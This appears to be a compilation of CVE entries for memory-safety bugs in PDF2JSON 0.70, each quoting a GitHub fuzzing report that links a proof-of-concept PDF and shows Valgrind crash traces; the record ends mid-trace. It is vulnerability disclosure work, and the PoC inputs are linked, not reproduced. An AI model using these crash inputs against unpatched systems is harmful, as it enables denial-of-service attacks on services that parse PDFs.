CVE-2020-19465

2021-07-21T18:15:08.540

An issue has been found in function ObjectStream::getObject in PDF2JSON 0.70 that allows attackers to cause a Denial of Service due to an invalid read of size 4 .

https://github.com/flexpaper/pdf2json/issues/26

github.com

Hi, Our fuzzer found a crash due to an invalid read on the function ObjectStream::getObject (the latest commit b671b64 on master - version 0.70). PoC: https://github.com/strongcourage/PoCs/blob/master/pdf2json_b671b64/PoC_segv_ObjectStream::getObject Valgrind says ~~~ valgrind pdf2json $PoC /dev/null ==440== Memcheck, a memory error detector ==440== Copyright (C) 2002-2015, and GNU GPL'd, by Julian Seward et al. ==440== Using Valgrind-3.11.0 and LibVEX; rerun with -h for copyright info ==440== Command: ./pdf2json ./PoC_segv_ObjectStream::getObject /dev/null ==440== ==440== Invalid read of size 4 ==440== at 0x43D665: ObjectStream::getObject(int, int, Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==440== by 0x43FB45: XRef::fetch(int, int, Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==440== by 0x4094D9: XRef::getCatalog(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==440== by 0x407B94: Catalog::Catalog(XRef*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==440== by 0x42B5FA: PDFDoc::setup(GString*, GString*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==440== by 0x42B3B4: PDFDoc::PDFDoc(GString*, GString*, GString*, void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==440== by 0x402163: main (pdf2json.cc:159) ==440== Address 0x10 is not stack'd, malloc'd or (recently) free'd ==440== ==440== ==440== Process terminating with default action of signal 11 (SIGSEGV) ==440== Access not within mapped region at address 0x10 ==440== at 0x43D665: ObjectStream::getObject(int, int, Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==440== by 0x43FB45: XRef::fetch(int, int, Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==440== by 0x4094D9: XRef::getCatalog(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==440== by 0x407B94: Catalog::Catalog(XRef*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==440== by 0x42B5FA: PDFDoc::setup(GString*, GString*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==440== by 0x42B3B4: PDFDoc::PDFDoc(GString*, GString*, GString*, void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==440== by 0x402163: main (pdf2json.cc:159) ==440== If you believe this happened as a result of a stack ==440== overflow in your program's main thread (unlikely but ==440== possible), you can try to increase the size of the ==440== main thread stack using the --main-stacksize= flag. ==440== The main thread stack size used in this run was 8388608. ==440== ==440== HEAP SUMMARY: ==440== in use at exit: 204,239 bytes in 1,701 blocks ==440== total heap usage: 1,792 allocs, 91 frees, 353,981 bytes allocated ==440== ==440== LEAK SUMMARY: ==440== definitely lost: 0 bytes in 0 blocks ==440== indirectly lost: 0 bytes in 0 blocks ==440== possibly lost: 0 bytes in 0 blocks ==440== still reachable: 204,239 bytes in 1,701 blocks ==440== suppressed: 0 bytes in 0 blocks ==440== Rerun with --leak-check=full to see details of leaked memory ==440== ==440== For counts of detected and suppressed errors, rerun with: -v ==440== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0) Segmentation fault ~~~ Thanks, Manh Dung

SEGV on ObjectStream::getObject

https://api.github.com/repos/flexpaper/pdf2json/issues/26/comments

2019-05-27T23:08:39Z

2019-05-29T17:40:24Z

https://github.com/flexpaper/pdf2json/issues/26

CVE-2020-19466

2021-07-21T18:15:08.573

An issue has been found in function DCTStream::transformDataUnit in PDF2JSON 0.70 that allows attackers to cause a Denial of Service due to an invalid read of size 1 .

https://github.com/flexpaper/pdf2json/issues/27

github.com

Hi, Our fuzzer found a crash due to an invalid read on the function DCTStream::transformDataUnit (the latest commit b671b64 on master - version 0.70). PoC: https://github.com/strongcourage/PoCs/blob/master/pdf2json_b671b64/PoC_segv_DCTStream::transformDataUnit Valgrind says: ~~~ valgrind pdf2json $PoC /dev/null ... ==23848== Invalid read of size 1 ==23848== at 0x43698B: DCTStream::transformDataUnit(unsigned short*, int*, unsigned char*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==23848== by 0x43363B: DCTStream::readMCURow() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==23848== by 0x432FB6: DCTStream::getChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==23848== by 0x40947A: Object::streamGetChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==23848== by 0x48796F: Lexer::getChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==23848== by 0x487A83: Lexer::getObj(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==23848== by 0x489C19: Parser::shift() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==23848== by 0x489825: Parser::getObj(Object*, unsigned char*, CryptAlgorithm, int, int, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==23848== by 0x454759: Gfx::go(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==23848== by 0x454311: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==23848== by 0x42A59E: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==23848== by 0x42A14A: Page::display(OutputDev*, double, double, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==23848== Address 0x6fd636 is not stack'd, malloc'd or (recently) free'd ==23848== ==23848== ==23848== Process terminating with default action of signal 11 (SIGSEGV) ==23848== Access not within mapped region at address 0x6FD636 ==23848== at 0x43698B: DCTStream::transformDataUnit(unsigned short*, int*, unsigned char*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==23848== by 0x43363B: DCTStream::readMCURow() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==23848== by 0x432FB6: DCTStream::getChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==23848== by 0x40947A: Object::streamGetChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==23848== by 0x48796F: Lexer::getChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==23848== by 0x487A83: Lexer::getObj(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==23848== by 0x489C19: Parser::shift() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==23848== by 0x489825: Parser::getObj(Object*, unsigned char*, CryptAlgorithm, int, int, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==23848== by 0x454759: Gfx::go(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==23848== by 0x454311: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==23848== by 0x42A59E: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==23848== by 0x42A14A: Page::display(OutputDev*, double, double, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==23848== If you believe this happened as a result of a stack ==23848== overflow in your program's main thread (unlikely but ==23848== possible), you can try to increase the size of the ==23848== main thread stack using the --main-stacksize= flag. ==23848== The main thread stack size used in this run was 8388608. ==23848== ==23848== HEAP SUMMARY: ==23848== in use at exit: 230,627 bytes in 1,819 blocks ==23848== total heap usage: 2,242 allocs, 423 frees, 357,101 bytes allocated ==23848== ==23848== LEAK SUMMARY: ==23848== definitely lost: 16 bytes in 1 blocks ==23848== indirectly lost: 8 bytes in 1 blocks ==23848== possibly lost: 0 bytes in 0 blocks ==23848== still reachable: 230,603 bytes in 1,817 blocks ==23848== suppressed: 0 bytes in 0 blocks ==23848== Rerun with --leak-check=full to see details of leaked memory ==23848== ==23848== For counts of detected and suppressed errors, rerun with: -v ==23848== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0) Segmentation fault ~~~ Thanks, Manh Dung

SEGV on DCTStream::transformDataUnit

https://api.github.com/repos/flexpaper/pdf2json/issues/27/comments

2019-05-27T23:09:01Z

2019-05-29T17:40:12Z

https://github.com/flexpaper/pdf2json/issues/27

CVE-2020-19467

2021-07-21T18:15:08.607

An issue has been found in function DCTStream::transformDataUnit in PDF2JSON 0.70 that allows attackers to cause a Denial of Service due to an Illegal Use After Free .

https://github.com/flexpaper/pdf2json/issues/28

github.com

Hi, Our fuzzer found a crash due to an Use After Free bug on the function DCTStream::transformDataUnit (the latest commit b671b64 on master - version 0.70). PoC: https://github.com/strongcourage/PoCs/blob/master/pdf2json_b671b64/PoC_uaf_DCTStream::transformDataUnit Valgrind says: ~~~ pdf2json $PoC /dev/null ... ==12935== Invalid read of size 2 ==12935== at 0x436149: DCTStream::transformDataUnit(unsigned short*, int*, unsigned char*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==12935== by 0x43363B: DCTStream::readMCURow() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==12935== by 0x4331D7: DCTStream::lookChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==12935== by 0x4887E8: Object::streamLookChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==12935== by 0x487A5B: Lexer::lookChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==12935== by 0x4884C8: Lexer::getObj(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==12935== by 0x489C19: Parser::shift() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==12935== by 0x489825: Parser::getObj(Object*, unsigned char*, CryptAlgorithm, int, int, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==12935== by 0x4892BE: Parser::getObj(Object*, unsigned char*, CryptAlgorithm, int, int, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==12935== by 0x454759: Gfx::go(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==12935== by 0x454311: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==12935== by 0x42A59E: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==12935== Address 0x5b21c10 is 16 bytes inside a block of size 32 free'd ==12935== at 0x4C2F24B: operator delete(void*) (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==12935== by 0x428565: Object::free() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==12935== by 0x446431: Array::~Array() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==12935== by 0x42855D: Object::free() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==12935== by 0x446431: Array::~Array() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==12935== by 0x42855D: Object::free() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==12935== by 0x446431: Array::~Array() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==12935== by 0x42855D: Object::free() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==12935== by 0x446431: Array::~Array() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==12935== by 0x42855D: Object::free() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==12935== by 0x446431: Array::~Array() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==12935== by 0x42855D: Object::free() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==12935== Block was alloc'd at ==12935== at 0x4C2E0EF: operator new(unsigned long) (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==12935== by 0x428284: Object::initArray(XRef*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==12935== by 0x48924E: Parser::getObj(Object*, unsigned char*, CryptAlgorithm, int, int, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==12935== by 0x4892BE: Parser::getObj(Object*, unsigned char*, CryptAlgorithm, int, int, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==12935== by 0x4892BE: Parser::getObj(Object*, unsigned char*, CryptAlgorithm, int, int, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==12935== by 0x4892BE: Parser::getObj(Object*, unsigned char*, CryptAlgorithm, int, int, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==12935== by 0x4892BE: Parser::getObj(Object*, unsigned char*, CryptAlgorithm, int, int, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==12935== by 0x4892BE: Parser::getObj(Object*, unsigned char*, CryptAlgorithm, int, int, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==12935== by 0x4892BE: Parser::getObj(Object*, unsigned char*, CryptAlgorithm, int, int, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==12935== by 0x454759: Gfx::go(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==12935== by 0x454311: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==12935== by 0x42A59E: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==12935== ==12935== Invalid read of size 1 ==12935== at 0x43698B: DCTStream::transformDataUnit(unsigned short*, int*, unsigned char*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==12935== by 0x43363B: DCTStream::readMCURow() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==12935== by 0x4331D7: DCTStream::lookChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==12935== by 0x4887E8: Object::streamLookChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==12935== by 0x487A5B: Lexer::lookChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==12935== by 0x4884C8: Lexer::getObj(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==12935== by 0x489C19: Parser::shift() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==12935== by 0x489825: Parser::getObj(Object*, unsigned char*, CryptAlgorithm, int, int, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==12935== by 0x4892BE: Parser::getObj(Object*, unsigned char*, CryptAlgorithm, int, int, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==12935== by 0x454759: Gfx::go(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==12935== by 0x454311: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==12935== by 0x42A59E: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==12935== Address 0x6ff09c is not stack'd, malloc'd or (recently) free'd ==12935== ==12935== ==12935== Process terminating with default action of signal 11 (SIGSEGV) ==12935== Access not within mapped region at address 0x6FF09C ==12935== at 0x43698B: DCTStream::transformDataUnit(unsigned short*, int*, unsigned char*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==12935== by 0x43363B: DCTStream::readMCURow() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==12935== by 0x4331D7: DCTStream::lookChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==12935== by 0x4887E8: Object::streamLookChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==12935== by 0x487A5B: Lexer::lookChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==12935== by 0x4884C8: Lexer::getObj(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==12935== by 0x489C19: Parser::shift() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==12935== by 0x489825: Parser::getObj(Object*, unsigned char*, CryptAlgorithm, int, int, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==12935== by 0x4892BE: Parser::getObj(Object*, unsigned char*, CryptAlgorithm, int, int, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==12935== by 0x454759: Gfx::go(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==12935== by 0x454311: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==12935== by 0x42A59E: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==12935== If you believe this happened as a result of a stack ==12935== overflow in your program's main thread (unlikely but ==12935== possible), you can try to increase the size of the ==12935== main thread stack using the --main-stacksize= flag. ==12935== The main thread stack size used in this run was 8388608. ==12935== ==12935== HEAP SUMMARY: ==12935== in use at exit: 227,902 bytes in 1,796 blocks ==12935== total heap usage: 2,505 allocs, 709 frees, 362,560 bytes allocated ==12935== ==12935== LEAK SUMMARY: ==12935== definitely lost: 16 bytes in 1 blocks ==12935== indirectly lost: 8 bytes in 1 blocks ==12935== possibly lost: 0 bytes in 0 blocks ==12935== still reachable: 227,878 bytes in 1,794 blocks ==12935== suppressed: 0 bytes in 0 blocks ==12935== Rerun with --leak-check=full to see details of leaked memory ==12935== ==12935== For counts of detected and suppressed errors, rerun with: -v ==12935== ERROR SUMMARY: 1921 errors from 3 contexts (suppressed: 0 from 0) Segmentation fault ~~~ Thanks, Manh Dung

SEGV (use after free) on DCTStream::transformDataUnit

https://api.github.com/repos/flexpaper/pdf2json/issues/28/comments

2019-05-28T05:41:37Z

2019-05-29T17:39:59Z

https://github.com/flexpaper/pdf2json/issues/28

CVE-2020-19468

2021-07-21T18:15:08.643

An issue has been found in function EmbedStream::getChar in PDF2JSON 0.70 that allows attackers to cause a Denial of Service due to a null pointer derefenrece (invalid read of size 8) .

https://github.com/flexpaper/pdf2json/issues/29

github.com

Hi, Our fuzzer found a crash due to a NULL pointer dereference bug on the function EmbedStream::getChar (the latest commit b671b64 on master - version 0.70). PoC: https://github.com/strongcourage/PoCs/blob/master/pdf2json_b671b64/PoC_npd_EmbedStream::getChar Valgrind says: ~~~ valgrind pdf2json $PoC /dev/null ==23888== Memcheck, a memory error detector ==23888== Copyright (C) 2002-2015, and GNU GPL'd, by Julian Seward et al. ==23888== Using Valgrind-3.11.0 and LibVEX; rerun with -h for copyright info ==23888== Command: ./pdf2json ./PoC_npd_EmbedStream::getChar /dev/null ==23888== Error: May not be a PDF file (continuing anyway) Error: PDF file is damaged - attempting to reconstruct xref table... Error (15671): Dictionary key must be a name object Error (15674): Dictionary key must be a name object Error (1930): Dictionary key must be a name object Error (1933): Dictionary key must be a name object Error (1935): Dictionary key must be a name object Error (1937): Dictionary key must be a name object Error (1940): Dictionary key must be a name object Error (3436): Illegal character ')' Error: Unterminated string Error: Bad image parameters ==23888== Invalid read of size 8 ==23888== at 0x42ECFA: EmbedStream::getChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==23888== by 0x466405: Gfx::opBeginImage(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==23888== by 0x454B1D: Gfx::execOp(Object*, Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==23888== by 0x454536: Gfx::go(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==23888== by 0x454311: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==23888== by 0x42A59E: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==23888== by 0x42A14A: Page::display(OutputDev*, double, double, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==23888== by 0x42BCBD: PDFDoc::displayPage(OutputDev*, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==23888== by 0x42BD48: PDFDoc::displayPages(OutputDev*, int, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==23888== by 0x40269A: main (pdf2json.cc:275) ==23888== Address 0x0 is not stack'd, malloc'd or (recently) free'd ==23888== ==23888== ==23888== Process terminating with default action of signal 11 (SIGSEGV) ==23888== Access not within mapped region at address 0x0 ==23888== at 0x42ECFA: EmbedStream::getChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==23888== by 0x466405: Gfx::opBeginImage(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==23888== by 0x454B1D: Gfx::execOp(Object*, Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==23888== by 0x454536: Gfx::go(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==23888== by 0x454311: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==23888== by 0x42A59E: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==23888== by 0x42A14A: Page::display(OutputDev*, double, double, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==23888== by 0x42BCBD: PDFDoc::displayPage(OutputDev*, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==23888== by 0x42BD48: PDFDoc::displayPages(OutputDev*, int, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==23888== by 0x40269A: main (pdf2json.cc:275) ==23888== If you believe this happened as a result of a stack ==23888== overflow in your program's main thread (unlikely but ==23888== possible), you can try to increase the size of the ==23888== main thread stack using the --main-stacksize= flag. ==23888== The main thread stack size used in this run was 8388608. ==23888== ==23888== HEAP SUMMARY: ==23888== in use at exit: 212,135 bytes in 1,754 blocks ==23888== total heap usage: 1,929 allocs, 175 frees, 301,634 bytes allocated ==23888== ==23888== LEAK SUMMARY: ==23888== definitely lost: 16 bytes in 1 blocks ==23888== indirectly lost: 8 bytes in 1 blocks ==23888== possibly lost: 0 bytes in 0 blocks ==23888== still reachable: 212,111 bytes in 1,752 blocks ==23888== suppressed: 0 bytes in 0 blocks ==23888== Rerun with --leak-check=full to see details of leaked memory ==23888== ==23888== For counts of detected and suppressed errors, rerun with: -v ==23888== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0) Segmentation fault ~~~ Thanks, Manh Dung

SEGV (NULL pointer dereference) on EmbedStream::getChar

https://api.github.com/repos/flexpaper/pdf2json/issues/29/comments

2019-05-28T05:57:15Z

2019-05-29T17:39:46Z

https://github.com/flexpaper/pdf2json/issues/29

CVE-2020-19469

2021-07-21T18:15:08.677

An issue has been found in function DCTStream::reset in PDF2JSON 0.70 that allows attackers to cause a Denial of Service due to an invalid write of size 8 .

https://github.com/flexpaper/pdf2json/issues/30

github.com

Hi, Our fuzzer found a crash due to an invalid write on the function DCTStream::reset (the latest commit b671b64 on master - version 0.70). PoC: https://github.com/strongcourage/PoCs/blob/master/pdf2json_b671b64/PoC_segv_DCTStream::reset Valgrind says: ~~~ valgrind pdf2json $PoC /dev/null ==5144== Memcheck, a memory error detector ==5144== Copyright (C) 2002-2015, and GNU GPL'd, by Julian Seward et al. ==5144== Using Valgrind-3.11.0 and LibVEX; rerun with -h for copyright info ==5144== Command: ./pdf2json ./PoC_segv_DCTStream::reset /dev/null ==5144== Error (13145): Illegal character ')' Error: PDF file is damaged - attempting to reconstruct xref table... Error (7397): Dictionary key must be a name object Error (7407): Dictionary key must be a name object Error (7408): Illegal character '>' Error (7408): Dictionary key must be a name object Error (7416): Dictionary key must be a name object Error (7422): Dictionary key must be a name object Error (7905): Dictionary key must be a name object Error (7955): Dictionary key must be a name object Error (7965): Dictionary key must be a name object Error (7972): Dictionary key must be a name object Error (7974): Dictionary key must be a name object Error (7976): Dictionary key must be a name object Error (7980): Dictionary key must be a name object Error (7985): Dictionary key must be a name object Error (7992): Dictionary key must be a name object Error (7995): Dictionary key must be a name object Error (7997): Dictionary key must be a name object Error (8001): Dictionary key must be a name object Error (8012): Dictionary key must be a name object Error (8024): Dictionary key must be a name object Error (8028): Dictionary key must be a name object Error (8031): Dictionary key must be a name object Error (8039): Dictionary key must be a name object ==5144== Invalid write of size 8 ==5144== at 0x432D2D: DCTStream::reset() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==5144== by 0x40941E: Object::streamReset() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==5144== by 0x48788A: Lexer::Lexer(XRef*, Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==5144== by 0x4542CE: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==5144== by 0x42A59E: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==5144== by 0x42A14A: Page::display(OutputDev*, double, double, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==5144== by 0x42BCBD: PDFDoc::displayPage(OutputDev*, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==5144== by 0x42BD48: PDFDoc::displayPages(OutputDev*, int, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==5144== by 0x40269A: main (pdf2json.cc:275) ==5144== Address 0x5b1b218 is 0 bytes after a block of size 4,584 alloc'd ==5144== at 0x4C2E0EF: operator new(unsigned long) (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==5144== by 0x42CF21: Stream::makeFilter(char*, Stream*, Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==5144== by 0x42C777: Stream::addFilters(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==5144== by 0x489AFF: Parser::makeStream(Object*, unsigned char*, CryptAlgorithm, int, int, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==5144== by 0x489549: Parser::getObj(Object*, unsigned char*, CryptAlgorithm, int, int, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==5144== by 0x43FA44: XRef::fetch(int, int, Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==5144== by 0x4284A9: Object::fetch(XRef*, Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==5144== by 0x42A565: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==5144== by 0x42A14A: Page::display(OutputDev*, double, double, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==5144== by 0x42BCBD: PDFDoc::displayPage(OutputDev*, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==5144== by 0x42BD48: PDFDoc::displayPages(OutputDev*, int, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==5144== by 0x40269A: main (pdf2json.cc:275) ==5144== ==5144== Conditional jump or move depends on uninitialised value(s) ==5144== at 0x436A29: DCTStream::readHuffSym(DCTHuffTable*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==5144== by 0x434B49: DCTStream::readDataUnit(DCTHuffTable*, DCTHuffTable*, int*, int*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==5144== by 0x4335CF: DCTStream::readMCURow() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==5144== by 0x432FB6: DCTStream::getChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==5144== by 0x40947A: Object::streamGetChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==5144== by 0x48796F: Lexer::getChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==5144== by 0x487A83: Lexer::getObj(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==5144== by 